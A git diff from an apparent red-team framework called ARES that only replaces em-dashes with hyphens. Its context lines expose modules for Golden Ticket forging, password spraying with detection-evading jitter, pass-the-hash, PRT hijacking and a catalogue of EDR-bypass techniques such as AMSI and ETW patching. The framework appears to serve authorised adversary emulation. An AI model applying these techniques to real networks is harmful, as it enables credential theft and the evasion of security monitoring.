+ title=f"ADFS Federation Metadata Found - {len(rps)} Relying Parties",
description=(
f"Active ADFS deployment detected at {adfs.get('adfs_url', 'unknown')}. "
f"Federation metadata accessible with {len(rps)} relying parties. "
"Golden SAML attack is viable after obtaining the ADFS token signing certificate. "
"This allows forging SAML assertions for any federated service "
- "without knowing user passwords — and does NOT trigger AD authentication logs."
+ "without knowing user passwords - and does NOT trigger AD authentication logs."
),
severity=Severity.CRITICAL,
mitre_technique="T1606.002",
@@ -1015,7 +1015,7 @@ class CloudIdentityFederationModule(BaseModule):
"endpoints_found": [e for e in adfs.get("endpoints", []) if e.get("active")],
},
remediation=(
- "1. Restrict access to ADFS server — only Domain Controllers should reach it. "
+ "1. Restrict access to ADFS server - only Domain Controllers should reach it. "
"2. Enable ADFS Extranet Lockout. "
"3. Monitor for ADFS token signing certificate export. "
"4. Consider migrating to Azure AD Managed domains (no ADFS)."
@@ -1028,7 +1028,7 @@ class CloudIdentityFederationModule(BaseModule):
saml_sps = azure.get("saml_service_principals", [])
if saml_sps:
self.finding(
- title=f"Azure AD SAML Applications — {len(saml_sps)} Apps with SSO",
+ title=f"Azure AD SAML Applications - {len(saml_sps)} Apps with SSO",
description=(
f"Found {len(saml_sps)} Azure AD applications configured with SAML SSO. "
"A compromised Global Admin or Application Admin can modify SAML configurations "
@@ -1051,7 +1051,7 @@ class CloudIdentityFederationModule(BaseModule):
fed_roles = aws.get("federated_roles", [])
if fed_roles:
self.finding(
- title=f"AWS SAML Federated Roles — {len(fed_roles)} Roles Assuming via Federation",
+ title=f"AWS SAML Federated Roles - {len(fed_roles)} Roles Assuming via Federation",
description=(
f"Found {len(fed_roles)} AWS IAM roles that trust SAML federation. "
"If the SAML identity provider is compromised, an attacker can assume "
@@ -1063,7 +1063,7 @@ class CloudIdentityFederationModule(BaseModule):
evidence={"federated_roles": [r["role_name"] for r in fed_roles[:15]]},
remediation=(
"Review trust policies for all federated roles. "
- "Apply least-privilege — federated roles should not have Admin permissions. "
+ "Apply least-privilege - federated roles should not have Admin permissions. "
"Enable AWS CloudTrail and alert on AssumeRoleWithSAML events."
),
host="aws",
@@ -1098,7 +1098,7 @@ class CloudIdentityFederationModule(BaseModule):
title=f"B2B Cross-Tenant Attack Surface: {len(guests)} Guest Accounts",
description=(
f"Found {len(guests)} B2B guest accounts in this tenant. "
- "Each guest represents a potential pivot point — if their home tenant "
+ "Each guest represents a potential pivot point - if their home tenant "
"is compromised, an attacker can use their guest credentials to access "
"this tenant's resources. This is the Midnight Blizzard attack vector "
"(Microsoft breach 2024)."
@@ -1131,7 +1131,7 @@ class CloudIdentityFederationModule(BaseModule):
f"{len(mi_data.get('system_assigned',[]))} system-assigned and "
f"{len(mi_data.get('user_assigned',[]))} user-assigned Managed Identities found. "
f"{len(hvp)} with high-privilege roles (Owner/Contributor/Key Vault). "
- "This is a zero-credential attack path — no password needed. "
+ "This is a zero-credential attack path - no password needed. "
"A compromised VM with MI can directly access Key Vault secrets, "
"Storage blobs, or perform administrative actions."
),
diff --git a/ares/modules/cloud/phantom_token.py b/ares/modules/cloud/phantom_token.py
index 77bfc3c..ee62163 100644
--- a/ares/modules/cloud/phantom_token.py
+++ b/ares/modules/cloud/phantom_token.py
@@ -1,8 +1,8 @@
"""
-cloud.phantom_token — Hybrid Entra ID & Primary Refresh Token (PRT) Hijack
+cloud.phantom_token - Hybrid Entra ID & Primary Refresh Token (PRT) Hijack
MITRE ATT&CK:
- T1528 — Steal Application Access Token
- T1606 — Forge Web Credentials
+ T1528 - Steal Application Access Token
+ T1606 - Forge Web Credentials
Autonomous adversary emulation vector for hybrid cloud environments:
1. Inspects Windows endpoint session artifacts for Primary Refresh Token (PRT) state.
@@ -48,7 +48,7 @@ logger = get_logger("ares.modules.cloud.phantom_token")
)
class PhantomTokenModule(BaseModule[PhantomTokenParams, ModuleResult]):
"""
- cloud.phantom_token — Hybrid Entra ID PRT extraction and cross-boundary session takeover.
+ cloud.phantom_token - Hybrid Entra ID PRT extraction and cross-boundary session takeover.
"""
MODULE_ID = "cloud.phantom_token"
MODULE_NAME = "Hybrid Entra ID PRT Hijack"
diff --git a/ares/modules/credential/__init__.py b/ares/modules/credential/__init__.py
index d264ba1..58061cb 100644
--- a/ares/modules/credential/__init__.py
+++ b/ares/modules/credential/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.credential
+ARES - modules.credential
Credential access and cracking modules
Note: Primary module discovery uses PluginLoader (inspect.getmembers).
diff --git a/ares/modules/credential/crack.py b/ares/modules/credential/crack.py
index 1da4ea2..65ddadb 100644
--- a/ares/modules/credential/crack.py
+++ b/ares/modules/credential/crack.py
@@ -1,12 +1,12 @@
"""
-Hash Cracking Interface — credential.crack
-MITRE: T1110.002 — Brute Force: Password Cracking
+Hash Cracking Interface - credential.crack
+MITRE: T1110.002 - Brute Force: Password Cracking
Thin wrapper around ares/credential/cracker.py (720 lines, fully implemented).
Runs hashcat (GPU) or john (CPU fallback) against uncracked hashes in the vault.
Cracked plaintext is encrypted and stored back to vault via vault.mark_cracked().
-OPSEC: LOCAL — cracking happens entirely on the operator machine.
+OPSEC: LOCAL - cracking happens entirely on the operator machine.
Zero network traffic to target. Not included in campaign noise budget.
Hash types supported (hashcat modes):
@@ -73,7 +73,7 @@ _CRACK_PRIORITY: dict[str, int] = {
)
class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):
"""
- credential.crack — "Crack hashes in CredentialVault using hashcat (GPU
+ credential.crack - "Crack hashes in CredentialVault using hashcat (GPU
OPSEC: LOCAL
MITRE: "T1110.002"
@@ -87,7 +87,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):
"Crack hashes in CredentialVault using hashcat (GPU) or john (CPU fallback). "
"Cracked plaintext is stored back to vault, immediately available for reuse."
)
- OPSEC_LEVEL = OpsecLevel.LOCAL # local only — zero network traffic
+ OPSEC_LEVEL = OpsecLevel.LOCAL # local only - zero network traffic
REQUIRES = ["vault"]
OUTPUTS = ["cracked_credentials"]
MITRE_TECHNIQUES = ["T1110.002"]
@@ -104,7 +104,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):
vault = getattr(ctx, "vault", None)
if not vault:
raise ModuleValidationError(
- "credential.crack requires a CredentialVault — "
+ "credential.crack requires a CredentialVault - "
"run ad.kerberoast, ad.asreproast, or ad.dcsync first.",
module_id=self.MODULE_ID, field="vault",
)
@@ -217,7 +217,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):
@trace_module("credential.crack")
async def run(self, vault: "Any" = None, timeout_s: int = 3600,
use_gpu: bool = True, wordlist: str = "", **kwargs: Any):
- # Note: before_request() intentionally not called — credential.crack is
+ # Note: before_request() intentionally not called - credential.crack is
# OpsecLevel.LOCAL (offline hash cracking, no network calls).
# Scope, jitter, and rate-limit checks apply only to network-facing operations.
from ares.credential.cracker import CrackingWorker, CrackingQueue, CrackJob, CrackStatus
@@ -301,7 +301,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):
logger.info("crack_complete",
cracked=len(cracked), failed=len(failed), skipped=len(skipped))
- # Generate findings — one per cracked credential (no plaintext in finding)
+ # Generate findings - one per cracked credential (no plaintext in finding)
if cracked:
usernames = [r.username for r in cracked if r.username]
self.finding(
@@ -309,7 +309,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):
description = (
f"Successfully cracked {len(cracked)} of {len(results)} hashes "
f"using {cracked[0].tool_used if cracked else 'hashcat/john'}. "
- "Plaintext credentials stored in vault — "
+ "Plaintext credentials stored in vault - "
"immediately available for credential.reuse and lateral movement."
),
severity = Severity.CRITICAL,
@@ -327,7 +327,7 @@ class CrackModule(BaseModule[CredentialCrackParams, ModuleResult]):
remediation = (
"Enforce strong password policy (min 15 chars, complexity). "
"Migrate Kerberos service accounts to gMSA (auto-rotating, "
- "240-char random passwords — uncrackable). "
+ "240-char random passwords - uncrackable). "
"Enable AES-256 Kerberos encryption, disable RC4."
),
)
diff --git a/ares/modules/credential/golden_ticket.py b/ares/modules/credential/golden_ticket.py
index 1aa810b..dccbbf9 100644
--- a/ares/modules/credential/golden_ticket.py
+++ b/ares/modules/credential/golden_ticket.py
@@ -44,7 +44,7 @@ logger = get_logger("ares.modules.credential.golden_ticket")
)
class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
"""
- credential.golden_ticket — Forge a Kerberos TGT using the krbtgt hash — provides persistent domain access that survives pas
+ credential.golden_ticket - Forge a Kerberos TGT using the krbtgt hash - provides persistent domain access that survives pas
OPSEC: MEDIUM
MITRE: "T1558.001"
@@ -55,7 +55,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
MODULE_NAME = "Golden Ticket Forgery"
MODULE_CATEGORY = "credential"
MODULE_DESCRIPTION = (
- "Forge a Kerberos TGT using the krbtgt hash — "
+ "Forge a Kerberos TGT using the krbtgt hash - "
"provides persistent domain access that survives password resets"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -158,7 +158,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
)
if not krbtgt_hash:
raise ModuleValidationError(
- "credential.golden_ticket requires 'krbtgt_hash' — "
+ "credential.golden_ticket requires 'krbtgt_hash' - "
"obtain from ad.dcsync output. Format: NT (32 hex) or LM:NT.",
module_id=self.MODULE_ID, field="krbtgt_hash",
)
@@ -171,7 +171,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
)
if not domain_sid:
raise ModuleValidationError(
- "credential.golden_ticket requires 'domain_sid' — "
+ "credential.golden_ticket requires 'domain_sid' - "
"obtain from ad.dcsync or 'Get-ADDomain | Select-Object DomainSID'. "
"Format: S-1-5-21-<sub1>-<sub2>-<sub3>",
module_id=self.MODULE_ID, field="domain_sid",
@@ -293,12 +293,12 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
krbtgt_hash = kwargs.get("krbtgt_hash", "")
domain_sid = kwargs.get("domain_sid", "")
username = kwargs.get("username", "Administrator") # identity to forge as
- # Sanitize username before using in path — prevent path traversal in tempdir
+ # Sanitize username before using in path - prevent path traversal in tempdir
import re as _re_path
username = _re_path.sub(r"[^\w.-]", "_", username)
target = kwargs.get("target", "")
dry_run = kwargs.get("dry_run", False)
- # Scope + rate-limit check — domain is the "target" for golden ticket
+ # Scope + rate-limit check - domain is the "target" for golden ticket
if domain and not dry_run:
await self.before_request(domain, "golden_ticket")
@@ -324,7 +324,7 @@ class GoldenTicketModule(BaseModule[GoldenTicketParams, ModuleResult]):
def _forge() -> tuple[bool, str, str]:
"""
Forge Golden Ticket using impacket.krb5 library directly.
- Drops the old subprocess ticketer approach — unstable, PATH-dependent.
+ Drops the old subprocess ticketer approach - unstable, PATH-dependent.
Uses impacket.krb5.ticket + CCache to build a valid TGT from the krbtgt hash.
"""
try:
diff --git a/ares/modules/credential/pass_spray.py b/ares/modules/credential/pass_spray.py
index 912cca3..3cdc63d 100644
--- a/ares/modules/credential/pass_spray.py
+++ b/ares/modules/credential/pass_spray.py
@@ -1,5 +1,5 @@
"""
-Password Spray — Low-and-Slow Authentication Testing
+Password Spray - Low-and-Slow Authentication Testing
MITRE: T1110.003
Tries ONE password against MANY accounts to avoid lockouts.
@@ -52,13 +52,13 @@ def query_password_policy(
Uses this to auto-calculate the safest spray rate.
Returns dict with:
- lockout_threshold — max failed attempts before lockout (0 = no lockout)
- lockout_duration_min — minutes until auto-unlock
- observation_window_min — minutes before failed-attempt counter resets
- min_password_length — minimum password length enforced
- password_history_length — number of remembered passwords
- safe_spray_delay_s — calculated safe delay between attempts per user
- safe_attempts_per_user — max attempts per user before lockout risk
+ lockout_threshold - max failed attempts before lockout (0 = no lockout)
+ lockout_duration_min - minutes until auto-unlock
+ observation_window_min - minutes before failed-attempt counter resets
+ min_password_length - minimum password length enforced
+ password_history_length - number of remembered passwords
+ safe_spray_delay_s - calculated safe delay between attempts per user
+ safe_attempts_per_user - max attempts per user before lockout risk
"""
result: dict[str, Any] = {"error": None, "policy_found": False}
try:
@@ -80,7 +80,7 @@ def query_password_policy(
except Exception:
conn = None
if not conn:
- result["error"] = "LDAP bind failed — cannot query password policy"
+ result["error"] = "LDAP bind failed - cannot query password policy"
return result
base_dn = ",".join(f"DC={p}" for p in domain.upper().split("."))
@@ -110,7 +110,7 @@ def query_password_policy(
# Calculate safe spray parameters
if threshold == 0:
- safe_attempts = 10 # no lockout policy — still be cautious
+ safe_attempts = 10 # no lockout policy - still be cautious
safe_delay = 5.0
else:
safe_attempts = max(1, threshold - 2) # stay 2 below threshold
@@ -229,7 +229,7 @@ def generate_smart_wordlist(
)
class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
"""
- credential.pass_spray — Low-and-slow password spray against domain accounts — built-in lockout protection, one password
+ credential.pass_spray - Low-and-slow password spray against domain accounts - built-in lockout protection, one password
OPSEC: MEDIUM
MITRE: "T1110.003"
@@ -240,7 +240,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
MODULE_NAME = "Password Spray"
MODULE_CATEGORY = "credential"
MODULE_DESCRIPTION = (
- "Low-and-slow password spray against domain accounts — "
+ "Low-and-slow password spray against domain accounts - "
"built-in lockout protection, one password per round"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -282,7 +282,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
if noise == NoiseProfile.STEALTH:
score = 0.35
risk = "high_noise"
- blockers.append("Password spraying generates rapid Event ID 4625 failed logins — strictly blocked in STEALTH mode")
+ blockers.append("Password spraying generates rapid Event ID 4625 failed logins - strictly blocked in STEALTH mode")
opsec_tuning["note"] = (
"Password spraying in STEALTH profile creates Event ID 4625 failed logons. "
"Recommend offline cracking techniques that never touch target authenticators."
@@ -300,7 +300,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
or (isinstance(threshold, (int, float)) and threshold <= 5)
)
if is_strict:
- blockers.append("Strict lockout policy detected (threshold <= 5) — password spraying blocked to avoid account lockouts")
+ blockers.append("Strict lockout policy detected (threshold <= 5) - password spraying blocked to avoid account lockouts")
score = 0.1
risk = "critical_alarm"
opsec_tuning["safe_spray_rate"] = "1 attempt per 45 minutes"
@@ -339,12 +339,12 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
passwords = ctx.params.get("passwords", [])
if not target:
raise ModuleValidationError(
- "credential.pass_spray requires 'target' — DC IP or hostname.",
+ "credential.pass_spray requires 'target' - DC IP or hostname.",
module_id=self.MODULE_ID, field="target",
)
if not users:
raise ModuleValidationError(
- "credential.pass_spray requires 'users' list — "
+ "credential.pass_spray requires 'users' list - "
"provide via params or pipe from ad.enum_users output.",
module_id=self.MODULE_ID, field="users",
)
@@ -459,7 +459,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
dry_run = kwargs.get("dry_run", False)
delay_s = float(kwargs.get("delay_seconds", 1.0))
max_per_user = int(kwargs.get("max_attempts_per_user", 1))
- # LDAP mode: use ldap3 SIMPLE bind instead of SMB — fallback when port 445 blocked
+ # LDAP mode: use ldap3 SIMPLE bind instead of SMB - fallback when port 445 blocked
use_ldap = bool(kwargs.get("use_ldap", False))
ldap_port = int(kwargs.get("ldap_port", 389))
@@ -477,7 +477,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
from impacket.smbconnection import SMBConnection # type: ignore[import]
smb_available = True
except ImportError:
- use_ldap = True # impacket missing — try ldap3
+ use_ldap = True # impacket missing - try ldap3
if use_ldap or not smb_available:
try:
@@ -508,14 +508,14 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
# Rate limiting per attempt to strictly respect LDAP/SMB noise profile & avoid lockout
await self.noise.rate_limiter.acquire(rate_bucket)
- # Jitter — random timing variation prevents regular spray pattern detection
+ # Jitter - random timing variation prevents regular spray pattern detection
await self.noise.jitter.sleep()
if delay_s > 0:
await asyncio.sleep(delay_s)
def _try_login(u=user, p=password):
if use_ldap:
- # LDAP SIMPLE bind — fallback when SMB 445 is blocked
+ # LDAP SIMPLE bind - fallback when SMB 445 is blocked
try:
import ldap3
import ssl
@@ -526,7 +526,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
use_ssl=use_ssl, tls=tls_arg,
connect_timeout=8,
)
- # SIMPLE bind — UPN format: user@domain
+ # SIMPLE bind - UPN format: user@domain
upn = f"{u}@{domain}" if domain else u
conn = ldap3.Connection(
server, user=upn, password=p,
@@ -549,7 +549,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
return "locked"
return "wrong_password"
else:
- # SMB NTLM spray — standard mode
+ # SMB NTLM spray - standard mode
try:
from impacket.smbconnection import SMBConnection
smb = SMBConnection(target, target, timeout=8)
@@ -586,7 +586,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
if valid_creds:
for cred in valid_creds:
- # Store credential in vault — password NEVER appears in finding
+ # Store credential in vault - password NEVER appears in finding
vault_id = ""
try:
from ares.credential.vault import Credential, CredentialType, PrivilegeLevel
@@ -601,7 +601,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
)
vault_id = vault.store(vc, secret=cred["password"])
except Exception:
- pass # vault unavailable — credential still in raw output for engine
+ pass # vault unavailable - credential still in raw output for engine
self.finding(
title=f"Password Spray Success: {domain}\\{cred['username']}",
@@ -630,7 +630,7 @@ class PassSprayModule(BaseModule[PassSprayParams, ModuleResult]):
if locked_accounts:
self.finding(
- title=f"Account Lockout Detected During Spray — {len(locked_accounts)} Account(s)",
+ title=f"Account Lockout Detected During Spray - {len(locked_accounts)} Account(s)",
description=(
f"Password spray caused lockout for: {locked_accounts}. "
"Spray was stopped to prevent further lockouts."
diff --git a/ares/modules/credential/pass_the_hash.py b/ares/modules/credential/pass_the_hash.py
index f31f999..c215208 100644
--- a/ares/modules/credential/pass_the_hash.py
+++ b/ares/modules/credential/pass_the_hash.py
@@ -41,7 +41,7 @@ logger = get_logger("ares.modules.credential.pass_the_hash")
)
class PassTheHashModule(BaseModule[PassTheHashParams, ModuleResult]):
"""
- credential.pass_the_hash — Authenticate to target using NTLM hash — no plaintext password required"
+ credential.pass_the_hash - Authenticate to target using NTLM hash - no plaintext password required"
OPSEC: MEDIUM
MITRE: "T1550.002"
@@ -52,7 +52,7 @@ class PassTheHashModule(BaseModule[PassTheHashParams, ModuleResult]):
MODULE_NAME = "Pass-the-Hash"
MODULE_CATEGORY = "credential"
MODULE_DESCRIPTION = (
- "Authenticate to target using NTLM hash — "
+ "Authenticate to target using NTLM hash - "
"no plaintext password required"
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
@@ -141,13 +141,13 @@ class PassTheHashModule(BaseModule[PassTheHashParams, ModuleResult]):
nt_hash = ctx.params.get("nt_hash", "") or ctx.params.get("hash", "")
if not target:
raise ModuleValidationError(
- "credential.pass_the_hash requires 'target' — "
+ "credential.pass_the_hash requires 'target' - "
"IP or hostname of the host to authenticate against.",
module_id=self.MODULE_ID, field="target",
)
if not nt_hash:
raise ModuleValidationError(
- "credential.pass_the_hash requires 'nt_hash' — "
+ "credential.pass_the_hash requires 'nt_hash' - "
"the 32-character NT hash from ad.dcsync output.",
module_id=self.MODULE_ID, field="nt_hash",
)
diff --git a/ares/modules/credential/reuse.py b/ares/modules/credential/reuse.py
index 1e8b780..cb902b9 100644
--- a/ares/modules/credential/reuse.py
+++ b/ares/modules/credential/reuse.py
@@ -1,12 +1,12 @@
"""
-ARES Credential Module — Credential Reuse (T1078 / T1550.002)
+ARES Credential Module - Credential Reuse (T1078 / T1550.002)
Wraps ReuseEngine as a proper BaseModule so it can be registered in
the plugin loader and called as ``credential.reuse`` in chains/plans.
MITRE ATT&CK:
- T1078 — Valid Accounts
- T1550.002 — Pass the Hash
+ T1078 - Valid Accounts
+ T1550.002 - Pass the Hash
"""
from __future__ import annotations
@@ -70,13 +70,13 @@ class CredentialReuseModule(BaseModule[CredentialReuseParams, ModuleResult]):
target = getattr(ctx, "target", "") or ctx.params.get("target", "")
if not target:
raise ModuleValidationError(
- "credential.reuse requires 'target' — IP or hostname to test credentials against.",
+ "credential.reuse requires 'target' - IP or hostname to test credentials against.",
module_id=self.MODULE_ID, field="target",
)
vault = getattr(ctx, "vault", None)
if not vault or not getattr(vault, "_store", None):
raise ModuleValidationError(
- "credential.reuse requires credentials in vault — "
+ "credential.reuse requires credentials in vault - "
"run ad.kerberoast/dcsync/pass_the_hash first.",
module_id=self.MODULE_ID, field="vault",
)
@@ -88,7 +88,7 @@ class CredentialReuseModule(BaseModule[CredentialReuseParams, ModuleResult]):
if getattr(ctx, "dry_run", False):
return ModuleResult(status="dry_run", module_id=self.MODULE_ID,
raw={"dry_run": True})
- # Pass vault from ctx — it lives on ctx, NOT in ctx.params
+ # Pass vault from ctx - it lives on ctx, NOT in ctx.params
params = dict(ctx.params)
params.pop("target", None)
params.pop("vault", None)
@@ -188,7 +188,7 @@ class CredentialReuseModule(BaseModule[CredentialReuseParams, ModuleResult]):
"dry_run": True,
"valid_credentials": [],
"owned_hosts": [],
- "note": "dry-run — no credentials sprayed",
+ "note": "dry-run - no credentials sprayed",
}
if vault is None:
diff --git a/ares/modules/edr/__init__.py b/ares/modules/edr/__init__.py
index 8d95909..4690fa1 100644
--- a/ares/modules/edr/__init__.py
+++ b/ares/modules/edr/__init__.py
@@ -1,5 +1,5 @@
"""
-ARES — modules.edr
+ARES - modules.edr
EDR detection and adaptive evasion modules.
"""
from __future__ import annotations
diff --git a/ares/modules/edr/bypass_adaptive.py b/ares/modules/edr/bypass_adaptive.py
index d16a2d5..ec57268 100644
--- a/ares/modules/edr/bypass_adaptive.py
+++ b/ares/modules/edr/bypass_adaptive.py
@@ -1,5 +1,5 @@
"""
-edr.bypass_adaptive — Adaptive EDR Evasion Engine
+edr.bypass_adaptive - Adaptive EDR Evasion Engine
Detects EDR vendor and version from recon.fingerprint results,
then selects and applies the appropriate evasion technique automatically.
@@ -18,12 +18,12 @@ It enumerates which bypass techniques are applicable given the detected
EDR, and tests whether benign probes are detected.
MITRE:
- T1562.001 — Impair Defenses: Disable or Modify Tools
- T1055 — Process Injection (test probe only)
- T1027 — Obfuscated Files or Information
- T1562.006 — Impair Defenses: Indicator Blocking (ETW patching)
+ T1562.001 - Impair Defenses: Disable or Modify Tools
+ T1055 - Process Injection (test probe only)
+ T1027 - Obfuscated Files or Information
+ T1562.006 - Impair Defenses: Indicator Blocking (ETW patching)
-OPSEC: MEDIUM — some detection tests may trigger EDR telemetry
+OPSEC: MEDIUM - some detection tests may trigger EDR telemetry
"""
from __future__ import annotations
@@ -86,7 +86,7 @@ _BYPASS_TECHNIQUES: list[BypassTechnique] = [
technique_id="amsi-force-error",
name="AMSI Force Error via Context Corruption",
description="Corrupt AmsiContext pointer to force AMSI initialization failure. "
- "Lower detection than reflection method — no assembly load needed.",
+ "Lower detection than reflection method - no assembly load needed.",
target_vendor=["defender_atp", "defender_av", "crowdstrike"],
opsec_level="low",
mitre_id="T1562.001",
@@ -193,7 +193,7 @@ _BYPASS_TECHNIQUES: list[BypassTechnique] = [
BypassTechnique(
technique_id="lolbin-mshta",
name="MSHTA LOLBin Execution",
- description="Use mshta.exe to execute HTA files — signed Microsoft binary, "
+ description="Use mshta.exe to execute HTA files - signed Microsoft binary, "
"bypasses application whitelisting and static analysis.",
target_vendor=["cylance", "carbon_black"],
opsec_level="medium",
@@ -203,7 +203,7 @@ _BYPASS_TECHNIQUES: list[BypassTechnique] = [
BypassTechnique(
technique_id="lolbin-wmic",
name="WMIC LOLBin for Script Execution",
- description="Use wmic.exe process call create for code execution — "
+ description="Use wmic.exe process call create for code execution - "
"bypasses script-based detection when script is not on disk.",
target_vendor=["cylance", "carbon_black", "defender_av"],
opsec_level="medium",
@@ -215,7 +215,7 @@ _BYPASS_TECHNIQUES: list[BypassTechnique] = [
BypassTechnique(
technique_id="generic-in-memory-exec",
name="In-Memory Execution (No Disk Write)",
- description="Load and execute payload entirely in memory — never writes to disk. "
+ description="Load and execute payload entirely in memory - never writes to disk. "
"Bypasses file-based detection and AV scanning.",
target_vendor=["*"], # all vendors
opsec_level="medium",
@@ -307,10 +307,10 @@ _EDR_BLIND_SPOTS: dict[str, list[dict[str, str]]] = {
)
class EDRAdaptiveBypassModule(BaseModule):
"""
- edr.bypass_adaptive — Adaptive EDR evasion engine.
+ edr.bypass_adaptive - Adaptive EDR evasion engine.
Reads EDR detection results from recon.fingerprint and selects the
- optimal evasion strategy. Does NOT generate payloads — outputs technique
+ optimal evasion strategy. Does NOT generate payloads - outputs technique
recommendations and probes which approaches are viable.
OPSEC: MEDIUM
@@ -323,7 +323,7 @@ class EDRAdaptiveBypassModule(BaseModule):
MODULE_CATEGORY = "edr"
MODULE_DESCRIPTION = (
"Detect EDR vendor from fingerprint results and select optimal evasion techniques. "
- "Outputs ranked bypass techniques with OPSEC notes — does not generate payloads."
+ "Outputs ranked bypass techniques with OPSEC notes - does not generate payloads."
)
MODULE_AUTHOR = "ARES Team <[email protected]>"
OPSEC_LEVEL = OpsecLevel.MEDIUM
@@ -517,7 +517,7 @@ class EDRAdaptiveBypassModule(BaseModule):
**kwargs: Any,
) -> tuple[list[Finding], dict[str, Any]]:
"""
- Note: before_request() not called — this module analyzes EDR data
+ Note: before_request() not called - this module analyzes EDR data
and runs local probes. Network calls to target are minimal/optional.
"""
audit("edr_bypass_selection", actor="operator",
@@ -564,7 +564,7 @@ class EDRAdaptiveBypassModule(BaseModule):
if "*" in tech.target_vendor or vendor_lower in tech.target_vendor:
applicable.append(tech)
- # BYOVD techniques (universal — always append as last resort)
+ # BYOVD techniques (universal - always append as last resort)
byovd = list(_BYOVD_TECHNIQUES)
# Sort user-mode by OPSEC level (low-noise first), BYOVD always last
@@ -602,7 +602,7 @@ class EDRAdaptiveBypassModule(BaseModule):
plan = []
if not techniques:
return [{"step": 1, "action": "No specific bypass identified",
- "detail": "EDR vendor unknown — use generic in-memory execution techniques"}]
+ "detail": "EDR vendor unknown - use generic in-memory execution techniques"}]
for i, tech in enumerate(techniques[:5], 1):
plan.append({
@@ -634,7 +634,7 @@ class EDRAdaptiveBypassModule(BaseModule):
# Try to get DB from settings (injected via campaign context)
db = getattr(self, "_db_ref", None)
if not db or not hasattr(db, "get_bypass_success_rate"):
- return techniques # No DB available — return as-is
+ return techniques # No DB available - return as-is
rates: dict = {}
import asyncio as _aio
@@ -651,16 +651,16 @@ class EDRAdaptiveBypassModule(BaseModule):
try:
coro = db.get_bypass_success_rate(t.technique_id, edr_vendor)
if running_loop is None:
- # No running loop — asyncio.run() is safe
+ # No running loop - asyncio.run() is safe
rate = _aio.run(coro)
else:
- # Inside async context — run in separate thread with its own loop
+ # Inside async context - run in separate thread with its own loop
with _cf.ThreadPoolExecutor(max_workers=1) as _pool:
rate = _pool.submit(_aio.run, coro).result(timeout=5.0)
if rate is not None:
rates[t.technique_id] = rate
except Exception:
- pass # DB unavailable or timeout — skip ranking for this technique
+ pass # DB unavailable or timeout - skip ranking for this technique
if not rates:
return techniques
@@ -670,11 +670,11 @@ class EDRAdaptiveBypassModule(BaseModule):
opsec_order = {"low": 0, "medium": 1, "high_noise": 2}
opsec_val = opsec_order.get(t.opsec_level, 1)
if rate is None:
- return (1, opsec_val) # unknown — middle rank
+ return (1, opsec_val) # unknown - middle rank
elif rate >= 0.80:
- return (0, opsec_val) # promote — proven effective
+ return (0, opsec_val) # promote - proven effective
elif rate <= 0.30:
- return (2, opsec_val) # demote — likely patched
+ return (2, opsec_val) # demote - likely patched
else:
return (1, opsec_val) # normal rank
@@ -692,15 +692,15 @@ class EDRAdaptiveBypassModule(BaseModule):
"""
Run a harmless probe to verify a bypass technique is still effective
against the target EDR. Returns True = applicable, False = blocked/patched.
- Fails open (returns True) on timeout or error — red team should still try.
+ Fails open (returns True) on timeout or error - red team should still try.
Only executes if technique.probe_safe=True and a run_cmd runner is provided.
"""
if not technique.probe_safe:
- return True # BYOVD, etc — cannot probe safely, assume applicable
+ return True # BYOVD, etc - cannot probe safely, assume applicable
if not run_cmd:
- return True # No SSH/shell runner provided — assume works
+ return True # No SSH/shell runner provided - assume works
- # Safe probe commands — each echoes PROBE_OK if the technique is applicable
+ # Safe probe commands - each echoes PROBE_OK if the technique is applicable
_PROBES = {
"amsi-patch-reflection":
"powershell -NoP -NonI -c "
@@ -743,7 +743,7 @@ class EDRAdaptiveBypassModule(BaseModule):
probe_cmd = _PROBES.get(technique.technique_id)
if not probe_cmd:
- return True # No probe defined for this technique — assume works
+ return True # No probe defined for this technique - assume works
try:
raw = await asyncio.wait_for(run_cmd(probe_cmd), timeout=10.0)
@@ -761,7 +761,7 @@ class EDRAdaptiveBypassModule(BaseModule):
logger.debug("edr_probe_error",
technique=technique.technique_id,
error=str(exc)[:60])
- return True # Fail open — red team should try
+ return True # Fail open - red team should try
async def _select_techniques_with_probe(
self,
@@ -812,7 +812,7 @@ class EDRAdaptiveBypassModule(BaseModule):
mitre_technique="T1562.001",
mitre_tactic="Defense Evasion",
evidence={"edr_vendor": edr_vendor, "techniques_checked": len(_BYPASS_TECHNIQUES)},
- remediation="N/A — informational for red team",
+ remediation="N/A - informational for red team",
host=target or "local",
confidence=0.60,
)
@@ -822,13 +822,13 @@ class EDRAdaptiveBypassModule(BaseModule):
medium = [t for t in viable if t.opsec_level == "medium"]
self.finding(
- title=f"EDR Bypass Techniques Available for {edr_vendor} — {len(viable)} Applicable",
+ title=f"EDR Bypass Techniques Available for {edr_vendor} - {len(viable)} Applicable",
description=(
f"Detected {edr_vendor}. Found {len(viable)} applicable evasion techniques: "
